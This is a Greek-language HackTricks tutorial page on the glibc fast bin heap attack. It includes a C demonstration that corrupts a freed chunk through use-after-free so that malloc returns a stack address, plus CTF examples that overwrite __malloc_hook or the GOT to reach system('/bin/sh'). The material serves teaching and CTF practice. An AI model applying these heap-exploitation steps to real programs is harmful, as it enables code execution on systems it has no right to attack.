Fast Bin Attack

Μάθετε & εξασκηθείτε στο Hacking του AWS:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο Hacking του GCP: HackTricks Training GCP Red Team Expert (GRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Για περισσότερες πληροφορίες σχετικά με το τι είναι ένα γρήγορο bin ελέγξτε αυτήν τη σελίδα:

Bins & Memory Allocations

Επειδή το γρήγορο bin είναι μια λίστα με μονό κρίκο, υπάρχουν πολύ λιγότερες προστασίες από άλλα bins και απλά η τροποποίηση μιας διεύθυνσης σε ένα ελεύθερο fast bin τμήμα είναι αρκετή για να μπορέσετε να εκχωρήσετε αργότερα ένα τμήμα σε οποιαδήποτε διεύθυνση μνήμης.

Ως περίληψη:

ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

Μπορείτε να βρείτε ένα πλήρες παράδειγμα σε έναν πολύ καλά εξηγημένο κώδικα από https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

Εάν είναι δυνατόν να αντικατασταθεί η τιμή της καθολικής μεταβλητής global_max_fast με ένα μεγάλο αριθμό, αυτό επιτρέπει τη δημιουργία γρήγορων τμημάτων fast bin με μεγαλύτερα μεγέθη, πιθανώς επιτρέποντας την εκτέλεση επιθέσεων fast bin σε σενάρια όπου δεν ήταν δυνατόν προηγουμένως. Αυτή η κατάσταση είναι χρήσιμη στο πλαίσιο της επίθεσης μεγάλου τμήματος και της επίθεσης αταξινόμητου τμήματος

Παραδείγματα

  • Είναι δυνατόν να δεσμεύσετε τμήματα, να τα απελευθερώσετε, να διαβάσετε το περιεχόμενό τους και να τα γεμίσετε (με μια ευπάθεια υπερχείλισης).

  • Συγχώνευση τμήματος για διαρροή πληροφοριών: Η τεχνική βασικά είναι να καταχραστείτε την υπερχείλιση για να δημιουργήσετε ένα ψεύτικο prev_size ώστε ένα προηγούμενο τμήμα να τοποθετηθεί μέσα σε ένα μεγαλύτερο, έτσι όταν διατίθεται το μεγαλύτερο που περιέχει άλλο ένα τμήμα, είναι δυνατόν να εκτυπωθούν τα δεδομένα του και να διαρρεύσει μια διεύθυνση στο libc (main_arena+88).

  • Αντικατάσταση του malloc hook: Για αυτό, και καταχρηστικά την προηγούμενη κατάσταση επικάλυψης, ήταν δυνατό να υπάρχουν 2 τμήματα που έδειχναν στην ίδια μνήμη. Συνεπώς, απελευθερώνοντάς τα και τα δύο (απελευθερώνοντας ένα άλλο τμήμα μεταξύ τους για να αποφευχθούν προστασίες), ήταν δυνατό να υπάρχει το ίδιο τμήμα στο fast bin 2 φορές. Στη συνέχεια, ήταν δυνατό να το διατεθεί ξανά, να αντικατασταθεί η διεύθυνση του επόμενου τμήματος για να δείχνει λίγο πριν από το __malloc_hook (έτσι ώστε να δείχνει σε έναν ακέραιο που το malloc νομίζει ότι είναι μέγεθος ελεύθερο - άλλη παράκαμψη), να το διατεθεί ξανά και στη συνέχεια να διατεθεί ένα άλλο τμήμα που θα λάβει μια διεύθυνση στους malloc hooks. Τελικά ένα one gadget γράφτηκε εκεί.

  • Υπάρχει υπερχείλιση στη στοίβα και χρήση μετά την απελευθέρωση και διπλή απελευθέρωση επειδή όταν ένα τμήμα απελευθερώνεται είναι δυνατόν να επαναχρησιμοποιηθούν και να απελευθερωθούν ξανά οι δείκτες

  • Διαρροή πληροφοριών Libc: Απλώς απελευθερώστε μερικά τμήματα και θα λάβουν ένα δείκτη σε μέρος της τοποθεσίας του κύριου χώρου. Δεδομένου ότι μπορείτε να επαναχρησιμοποιήσετε απελευθερωμένους δείκτες, απλώς διαβάστε αυτήν τη διεύθυνση.

  • Επίθεση Fast bin: Όλοι οι δείκτες στις δεσμεύσεις αποθηκεύονται μέσα σε έναν πίνακα, έτσι μπορούμε να απελευθερώσουμε μερικά γρήγορα τμήματα fast bin και στο τελευταίο να αντικαταστήσουμε τη διεύθυνση για να δείχνει λίγο πριν από αυτόν τον πίνακα δεικτών. Στη συνέχεια, να δεσμεύσουμε μερικά τμήματα με το ίδιο μέγεθος και θα λάβουμε πρώτα το γνήσιο και στη συνέχεια το ψεύτικο που περιέχει τον πίνακα δεικτών. Τώρα μπορούμε να αντικαταστήσουμε αυτούς τους δείκτες δέσμευσης για να κάνουμε τη διεύθυνση GOT του free να δείχνει στο system και στη συνέχεια να γράψουμε "/bin/sh" στο τμήμα 1 για να καλέσουμε στη συνέχεια το free(chunk1) το οποίο αντ' αυτού θα εκτελέσει το system("/bin/sh").

  • Ένα άλλο παράδειγμα κατάχρησης μιας υπερχείλισης ενός byte για τη συγχώνευση τμημάτων στον αταξινόμητο bin και τη λήψη μιας διαρροής πληροφοριών Libc και στη συνέχεια την εκτέλεση μιας επίθεσης fast bin για την αντικατάσταση του malloc hook με μια διεύθυνση one gadget

  • Μετά από μια διαρροή πληροφοριών καταχρηστικά του αταξινόμητου bin με ένα UAF για να διαρρεύσει μια διεύθυνση Libc και μια διεύθυνση PIE, η εκμετάλλευση αυτού του CTF χρησιμοποίησε μια επίθεση fast bin για να δεσμεύσει ένα τμήμα σε ένα μέρος όπου βρίσκονταν οι δείκτες σε ελεγχόμενα τμήματα, έτσι ήταν δυνατό να αντικατασταθούν ορισμένοι δείκτες για να γραφτεί ένα one gadget στο GOT

  • Μπορείτε να βρείτε μια Fast Bin επίθεση που καταχρηστικά χρησιμοποιείται μέσω μιας επίθεσης αταξινόμητου bin:

  • Σημειώστε ότι είναι συνηθισμένο πριν εκτελέσετε επιθέσεις fast bin να καταχρηστικά χρησιμοποιείτε τις λίστες απελευθέρωσης για να διαρρεύσετε διευθύνσεις libc/heap (όταν απαιτείται).

  • Μπορούμε να δεσμεύσουμε μόνο τμήματα μεγαλύτερα από 0x100.

  • Αντικατάσταση του global_max_fast χρησιμοποιώντας μια επίθεση Unsorted Bin (λειτουργεί 1 στις 16 φορές λόγω ASLR, επειδή πρέπει να τροποποιήσουμε 12 bits, αλλά πρέπει να τροποποιήσουμε 16 bits).

  • Επίθεση Fast Bin για την τροποποίηση ενός παγκόσμιου πίνακα τμημάτων. Αυτό δίνει ένα αυθαίρετο ανάγνωσης/εγγραφής πρωτογενές, το οποίο επιτρέπει την τροποποίηση του GOT και την ρύθμιση κάποιας λειτουργίας να δείχνει στο system.

Unsorted Bin Attack

Μάθετε & εξασκηθείτε στο AWS Hacking:[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Μάθετε & εξασκηθείτε στο GCP Hacking: [**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)

Υποστηρίξτε το HackTricks

Last updated